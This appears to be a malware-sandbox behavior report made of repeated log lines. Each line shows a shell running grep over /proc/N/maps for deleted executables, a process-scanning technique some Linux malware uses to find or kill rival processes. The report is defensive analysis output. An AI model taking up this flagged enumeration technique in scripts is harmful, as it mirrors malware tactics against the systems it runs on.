Source: /bin/sh (PID: 6270)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/118/maps	Jump to behavior
Source: /bin/sh (PID: 6271)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/119/maps	Jump to behavior
Source: /bin/sh (PID: 6272)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/12/maps	Jump to behavior
Source: /bin/sh (PID: 6273)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/120/maps	Jump to behavior
Source: /bin/sh (PID: 6274)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1207/maps	Jump to behavior
Source: /bin/sh (PID: 6275)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/121/maps	Jump to behavior
Source: /bin/sh (PID: 6276)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/122/maps	Jump to behavior
Source: /bin/sh (PID: 6277)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/123/maps	Jump to behavior
Source: /bin/sh (PID: 6278)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/124/maps	Jump to behavior
Source: /bin/sh (PID: 6279)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/125/maps	Jump to behavior
Source: /bin/sh (PID: 6280)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/126/maps	Jump to behavior
Source: /bin/sh (PID: 6281)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/127/maps	Jump to behavior
Source: /bin/sh (PID: 6282)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/128/maps	Jump to behavior
Source: /bin/sh (PID: 6283)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/13/maps	Jump to behavior
Source: /bin/sh (PID: 6284)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/130/maps	Jump to behavior
Source: /bin/sh (PID: 6285)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/132/maps	Jump to behavior
Source: /bin/sh (PID: 6286)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1320/maps	Jump to behavior
Source: /bin/sh (PID: 6287)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1334/maps	Jump to behavior
Source: /bin/sh (PID: 6288)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1335/maps	Jump to behavior
Source: /bin/sh (PID: 6289)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1344/maps	Jump to behavior
Source: /bin/sh (PID: 6290)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1349/maps	Jump to behavior
Source: /bin/sh (PID: 6291)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1389/maps	Jump to behavior
Source: /bin/sh (PID: 6292)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/14/maps	Jump to behavior
Source: /bin/sh (PID: 6293)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/141/maps	Jump to behavior
Source: /bin/sh (PID: 6294)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/144/maps	Jump to behavior
Source: /bin/sh (PID: 6295)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1463/maps	Jump to behavior
Source: /bin/sh (PID: 6296)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1465/maps	Jump to behavior
Source: /bin/sh (PID: 6297)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1475/maps	Jump to behavior
Source: /bin/sh (PID: 6298)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1476/maps	Jump to behavior
Source: /bin/sh (PID: 6299)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1477/maps	Jump to behavior
Source: /bin/sh (PID: 6300)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1489/maps	Jump to behavior
Source: /bin/sh (PID: 6301)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1494/maps	Jump to behavior
Source: /bin/sh (PID: 6302)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/15/maps	Jump to behavior
Source: /bin/sh (PID: 6303)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1532/maps	Jump to behavior
Source: /bin/sh (PID: 6304)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/157/maps	Jump to behavior
Source: /bin/sh (PID: 6310)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1576/maps	Jump to behavior
Source: /bin/sh (PID: 6311)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1579/maps	Jump to behavior
Source: /bin/sh (PID: 6312)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1582/maps	Jump to behavior
Source: /bin/sh (PID: 6313)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1586/maps	Jump to behavior
Source: /bin/sh (PID: 6314)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1594/maps	Jump to behavior
Source: /bin/sh (PID: 6315)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1599/maps	Jump to behavior
Source: /bin/sh (PID: 6316)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/16/maps	Jump to behavior
Source: /bin/sh (PID: 6317)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1601/maps	Jump to behavior
Source: /bin/sh (PID: 6318)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1612/maps	Jump to behavior
Source: /bin/sh (PID: 6321)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1622/maps	Jump to behavior
Source: /bin/sh (PID: 6322)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1623/maps	Jump to behavior
Source: /bin/sh (PID: 6323)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1627/maps	Jump to behavior
Source: /bin/sh (PID: 6326)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1629/maps	Jump to behavior
Source: /bin/sh (PID: 6327)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1632/maps	Jump to behavior
Source: /bin/sh (PID: 6328)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1633/maps	Jump to behavior
Source: /bin/sh (PID: 6329)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1638/maps	Jump to behavior
Source: /bin/sh (PID: 6330)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1639/maps	Jump to behavior
Source: /bin/sh (PID: 6331)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1642/maps	Jump to behavior
Source: /bin/sh (PID: 6332)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1648/maps	Jump to behavior
Source: /bin/sh (PID: 6334)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1654/maps	Jump to behavior
Source: /bin/sh (PID: 6336)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1656/maps	Jump to behavior
Source: /bin/sh (PID: 6337)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1661/maps	Jump to behavior
Source: /bin/sh (PID: 6338)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1664/maps	Jump to behavior
Source: /bin/sh (PID: 6339)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1668/maps	Jump to behavior
Source: /bin/sh (PID: 6340)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1698/maps	Jump to behavior
Source: /bin/sh (PID: 6341)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1699/maps	Jump to behavior
Source: /bin/sh (PID: 6342)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/17/maps	Jump to behavior
Source: /bin/sh (PID: 6345)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/18/maps	Jump to behavior
Source: /bin/sh (PID: 6346)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1809/maps	Jump to behavior
Source: /bin/sh (PID: 6347)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1860/maps	Jump to behavior
Source: /bin/sh (PID: 6351)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1872/maps	Jump to behavior
Source: /bin/sh (PID: 6353)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1877/maps	Jump to behavior
Source: /bin/sh (PID: 6354)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1886/maps	Jump to behavior
Source: /bin/sh (PID: 6355)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1888/maps	Jump to behavior
Source: /bin/sh (PID: 6359)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1890/maps	Jump to behavior
Source: /bin/sh (PID: 6360)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1900/maps	Jump to behavior
Source: /bin/sh (PID: 6369)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/1983/maps	Jump to behavior
Source: /bin/sh (PID: 6370)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2/maps	Jump to behavior
Source: /bin/sh (PID: 6500)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/20/maps	Jump to behavior
Source: /bin/sh (PID: 6521)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2009/maps	Jump to behavior
Source: /bin/sh (PID: 6522)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/201/maps	Jump to behavior
Source: /bin/sh (PID: 6523)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2014/maps	Jump to behavior
Source: /bin/sh (PID: 6526)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2018/maps	Jump to behavior
Source: /bin/sh (PID: 6527)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/202/maps	Jump to behavior
Source: /bin/sh (PID: 6528)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2025/maps	Jump to behavior
Source: /bin/sh (PID: 6529)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2028/maps	Jump to behavior
Source: /bin/sh (PID: 6530)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/203/maps	Jump to behavior
Source: /bin/sh (PID: 6533)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2033/maps	Jump to behavior
Source: /bin/sh (PID: 6534)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2038/maps	Jump to behavior
Source: /bin/sh (PID: 6535)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/204/maps	Jump to behavior
Source: /bin/sh (PID: 6536)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2048/maps	Jump to behavior
Source: /bin/sh (PID: 6537)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/205/maps	Jump to behavior
Source: /bin/sh (PID: 6538)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2050/maps	Jump to behavior
Source: /bin/sh (PID: 6540)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/206/maps	Jump to behavior
Source: /bin/sh (PID: 6542)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2062/maps	Jump to behavior
Source: /bin/sh (PID: 6543)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2063/maps	Jump to behavior
Source: /bin/sh (PID: 6544)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2069/maps	Jump to behavior
Source: /bin/sh (PID: 6549)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/207/maps	Jump to behavior
Source: /bin/sh (PID: 6550)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2074/maps	Jump to behavior
Source: /bin/sh (PID: 6551)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2077/maps	Jump to behavior
Source: /bin/sh (PID: 6553)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2078/maps	Jump to behavior
Source: /bin/sh (PID: 6554)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2079/maps	Jump to behavior
Source: /bin/sh (PID: 6555)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/208/maps	Jump to behavior
Source: /bin/sh (PID: 6558)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2080/maps	Jump to behavior
Source: /bin/sh (PID: 6562)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2083/maps	Jump to behavior
Source: /bin/sh (PID: 6564)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2084/maps	Jump to behavior
Source: /bin/sh (PID: 6567)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/209/maps	Jump to behavior
Source: /bin/sh (PID: 6568)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2096/maps	Jump to behavior
Source: /bin/sh (PID: 6569)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2097/maps	Jump to behavior
Source: /bin/sh (PID: 6571)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/21/maps	Jump to behavior
Source: /bin/sh (PID: 6573)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/210/maps	Jump to behavior
Source: /bin/sh (PID: 6574)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2102/maps	Jump to behavior
Source: /bin/sh (PID: 6575)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/211/maps	Jump to behavior
Source: /bin/sh (PID: 6576)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2114/maps	Jump to behavior
Source: /bin/sh (PID: 6579)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/212/maps	Jump to behavior
Source: /bin/sh (PID: 6580)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2123/maps	Jump to behavior
Source: /bin/sh (PID: 6581)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2126/maps	Jump to behavior
Source: /bin/sh (PID: 6582)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2128/maps	Jump to behavior
Source: /bin/sh (PID: 6583)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2129/maps	Jump to behavior
Source: /bin/sh (PID: 6584)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/213/maps	Jump to behavior
Source: /bin/sh (PID: 6585)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/214/maps	Jump to behavior
Source: /bin/sh (PID: 6586)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2146/maps	Jump to behavior
Source: /bin/sh (PID: 6587)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/215/maps	Jump to behavior
Source: /bin/sh (PID: 6588)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2156/maps	Jump to behavior
Source: /bin/sh (PID: 6589)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/216/maps	Jump to behavior
Source: /bin/sh (PID: 6592)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/217/maps	Jump to behavior
Source: /bin/sh (PID: 6594)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/218/maps	Jump to behavior
Source: /bin/sh (PID: 6595)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2180/maps	Jump to behavior
Source: /bin/sh (PID: 6596)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/219/maps	Jump to behavior
Source: /bin/sh (PID: 6597)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2195/maps	Jump to behavior
Source: /bin/sh (PID: 6617)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/22/maps	Jump to behavior
Source: /bin/sh (PID: 6619)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/220/maps	Jump to behavior
Source: /bin/sh (PID: 6620)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2208/maps	Jump to behavior
Source: /bin/sh (PID: 6621)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/221/maps	Jump to behavior
Source: /bin/sh (PID: 6622)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/222/maps	Jump to behavior
Source: /bin/sh (PID: 6623)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2223/maps	Jump to behavior
Source: /bin/sh (PID: 6624)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2226/maps	Jump to behavior
Source: /bin/sh (PID: 6627)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/223/maps	Jump to behavior
Source: /bin/sh (PID: 6631)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2235/maps	Jump to behavior
Source: /bin/sh (PID: 6634)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/224/maps	Jump to behavior
Source: /bin/sh (PID: 6637)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2242/maps	Jump to behavior
Source: /bin/sh (PID: 6638)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/225/maps	Jump to behavior
Source: /bin/sh (PID: 6639)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/226/maps	Jump to behavior
Source: /bin/sh (PID: 6642)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/227/maps	Jump to behavior
Source: /bin/sh (PID: 6643)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2275/maps	Jump to behavior
Source: /bin/sh (PID: 6644)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/228/maps	Jump to behavior
Source: /bin/sh (PID: 6645)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2281/maps	Jump to behavior
Source: /bin/sh (PID: 6794)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2285/maps	Jump to behavior
Source: /bin/sh (PID: 6797)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2289/maps	Jump to behavior
Source: /bin/sh (PID: 6799)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/229/maps	Jump to behavior
Source: /bin/sh (PID: 6804)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2294/maps	Jump to behavior
Source: /bin/sh (PID: 6809)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/23/maps	Jump to behavior
Source: /bin/sh (PID: 6817)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/230/maps	Jump to behavior
Source: /bin/sh (PID: 6820)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2302/maps	Jump to behavior
Source: /bin/sh (PID: 6822)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2307/maps	Jump to behavior
Source: /bin/sh (PID: 6825)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/231/maps	Jump to behavior
Source: /bin/sh (PID: 6828)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/232/maps	Jump to behavior
Source: /bin/sh (PID: 6831)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/233/maps	Jump to behavior
Source: /bin/sh (PID: 6833)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/234/maps	Jump to behavior
Source: /bin/sh (PID: 6834)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/235/maps	Jump to behavior
Source: /bin/sh (PID: 6842)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/236/maps	Jump to behavior
Source: /bin/sh (PID: 6853)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/237/maps	Jump to behavior
Source: /bin/sh (PID: 6860)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/24/maps	Jump to behavior
Source: /bin/sh (PID: 6864)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/243/maps	Jump to behavior
Source: /bin/sh (PID: 6892)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/248/maps	Jump to behavior
Source: /bin/sh (PID: 6895)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/249/maps	Jump to behavior
Source: /bin/sh (PID: 6897)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/25/maps	Jump to behavior
Source: /bin/sh (PID: 6898)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/250/maps	Jump to behavior
Source: /bin/sh (PID: 6899)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/251/maps	Jump to behavior
Source: /bin/sh (PID: 6901)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/252/maps	Jump to behavior
Source: /bin/sh (PID: 6903)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/253/maps	Jump to behavior
Source: /bin/sh (PID: 6904)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/254/maps	Jump to behavior
Source: /bin/sh (PID: 6910)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/255/maps	Jump to behavior
Source: /bin/sh (PID: 6921)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/256/maps	Jump to behavior
Source: /bin/sh (PID: 6923)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/257/maps	Jump to behavior
Source: /bin/sh (PID: 6925)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/258/maps	Jump to behavior
Source: /bin/sh (PID: 6928)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/259/maps	Jump to behavior
Source: /bin/sh (PID: 6937)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/26/maps	Jump to behavior
Source: /bin/sh (PID: 6938)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/260/maps	Jump to behavior
Source: /bin/sh (PID: 6939)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/261/maps	Jump to behavior
Source: /bin/sh (PID: 6941)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/262/maps	Jump to behavior
Source: /bin/sh (PID: 6944)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/263/maps	Jump to behavior
Source: /bin/sh (PID: 6950)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2637/maps	Jump to behavior
Source: /bin/sh (PID: 6951)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/264/maps	Jump to behavior
Source: /bin/sh (PID: 6952)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/265/maps	Jump to behavior
Source: /bin/sh (PID: 6953)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/266/maps	Jump to behavior
Source: /bin/sh (PID: 6956)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/267/maps	Jump to behavior
Source: /bin/sh (PID: 6957)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/269/maps	Jump to behavior
Source: /bin/sh (PID: 6958)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/27/maps	Jump to behavior
Source: /bin/sh (PID: 6959)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/270/maps	Jump to behavior
Source: /bin/sh (PID: 6960)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/272/maps	Jump to behavior
Source: /bin/sh (PID: 6962)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/274/maps	Jump to behavior
Source: /bin/sh (PID: 6965)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2746/maps	Jump to behavior
Source: /bin/sh (PID: 6966)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2749/maps	Jump to behavior
Source: /bin/sh (PID: 6967)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2761/maps	Jump to behavior
Source: /bin/sh (PID: 7087)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/278/maps	Jump to behavior
Source: /bin/sh (PID: 7088)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/28/maps	Jump to behavior
Source: /bin/sh (PID: 7092)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/281/maps	Jump to behavior
Source: /bin/sh (PID: 7093)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/286/maps	Jump to behavior
Source: /bin/sh (PID: 7098)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/2882/maps	Jump to behavior
Source: /bin/sh (PID: 7104)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/29/maps	Jump to behavior
Source: /bin/sh (PID: 7107)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3/maps	Jump to behavior
Source: /bin/sh (PID: 7108)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/30/maps	Jump to behavior
Source: /bin/sh (PID: 7109)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3021/maps	Jump to behavior
Source: /bin/sh (PID: 7112)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3088/maps	Jump to behavior
Source: /bin/sh (PID: 7116)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/322/maps	Jump to behavior
Source: /bin/sh (PID: 7118)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/3236/maps	Jump to behavior
Source: /bin/sh (PID: 7119)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/324/maps	Jump to behavior
Source: /bin/sh (PID: 7121)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/326/maps	Jump to behavior
Source: /bin/sh (PID: 7123)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/327/maps	Jump to behavior
Source: /bin/sh (PID: 7152)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/328/maps	Jump to behavior
Source: /bin/sh (PID: 7153)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/333/maps	Jump to behavior
Source: /bin/sh (PID: 7157)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/346/maps	Jump to behavior
Source: /bin/sh (PID: 7158)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/35/maps	Jump to behavior
Source: /bin/sh (PID: 7160)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/379/maps	Jump to behavior
Source: /bin/sh (PID: 7162)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4/maps	Jump to behavior
Source: /bin/sh (PID: 7164)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/419/maps	Jump to behavior
Source: /bin/sh (PID: 7166)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/420/maps	Jump to behavior
Source: /bin/sh (PID: 7170)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4438/maps	Jump to behavior
Source: /bin/sh (PID: 7171)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4444/maps	Jump to behavior
Source: /bin/sh (PID: 7172)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4445/maps	Jump to behavior
Source: /bin/sh (PID: 7173)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4446/maps	Jump to behavior
Source: /bin/sh (PID: 7174)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4447/maps	Jump to behavior
Source: /bin/sh (PID: 7175)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4497/maps	Jump to behavior
Source: /bin/sh (PID: 7176)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4501/maps	Jump to behavior
Source: /bin/sh (PID: 7177)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4504/maps	Jump to behavior
Source: /bin/sh (PID: 7178)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/4529/maps	Jump to behavior
Source: /bin/sh (PID: 7180)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/491/maps	Jump to behavior
Source: /bin/sh (PID: 7181)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/517/maps	Jump to behavior
Source: /bin/sh (PID: 7182)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6/maps	Jump to behavior
Source: /bin/sh (PID: 7185)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6072/maps	Jump to behavior
Source: /bin/sh (PID: 7186)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6184/maps	Jump to behavior
Source: /bin/sh (PID: 7188)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6196/maps	Jump to behavior
Source: /bin/sh (PID: 7189)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6221/maps	Jump to behavior
Source: /bin/sh (PID: 7190)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6222/maps	Jump to behavior
Source: /bin/sh (PID: 7191)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6238/maps	Jump to behavior
Source: /bin/sh (PID: 7194)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6240/maps	Jump to behavior
Source: /bin/sh (PID: 7196)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6246/maps	Jump to behavior
Source: /bin/sh (PID: 7197)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6247/maps	Jump to behavior
Source: /bin/sh (PID: 7224)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/6248/maps	Jump to behavior
Source: /bin/sh (PID: 7329)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/654/maps	Jump to behavior
Source: /bin/sh (PID: 7331)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/655/maps	Jump to behavior
Source: /bin/sh (PID: 7333)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/656/maps	Jump to behavior
Source: /bin/sh (PID: 7338)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/657/maps	Jump to behavior
Source: /bin/sh (PID: 7340)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/658/maps	Jump to behavior
Source: /bin/sh (PID: 7341)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/667/maps	Jump to behavior
Source: /bin/sh (PID: 7342)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/670/maps	Jump to behavior
Source: /bin/sh (PID: 7343)	Grep executable: /usr/bin/grep -> grep -q (deleted) /proc/674/maps	Jump to behavior
